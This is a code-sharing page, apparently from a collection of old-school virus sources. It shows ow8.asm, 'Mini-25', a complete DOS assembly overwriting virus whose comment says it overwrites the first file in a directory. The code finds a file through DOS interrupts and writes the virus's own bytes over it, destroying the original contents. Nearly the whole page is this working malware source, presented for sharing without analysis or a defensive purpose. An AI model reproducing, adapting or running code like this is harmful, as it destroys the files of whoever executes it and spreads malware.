ow8.asm

来自「More than 800 virus code (old school) ju」· 汇编 代码 · 共 21 行

;
; Mini-25
;
; Overwrites the first file in a directory


FNAM            Equ 09eh

Main:           Mov Ah,4eh
                Lea Dx,FileSpec
                Int 21h
                Mov Ah,3ch
                Lea Dx,FNAM
On2:            Int 21h
FileSpec        Db '*.*',0
                Mov Bh,40h
                Xchg Cx,Dx
                Xchg Ax,Bx
                Jmp On2
Length          Equ $-Main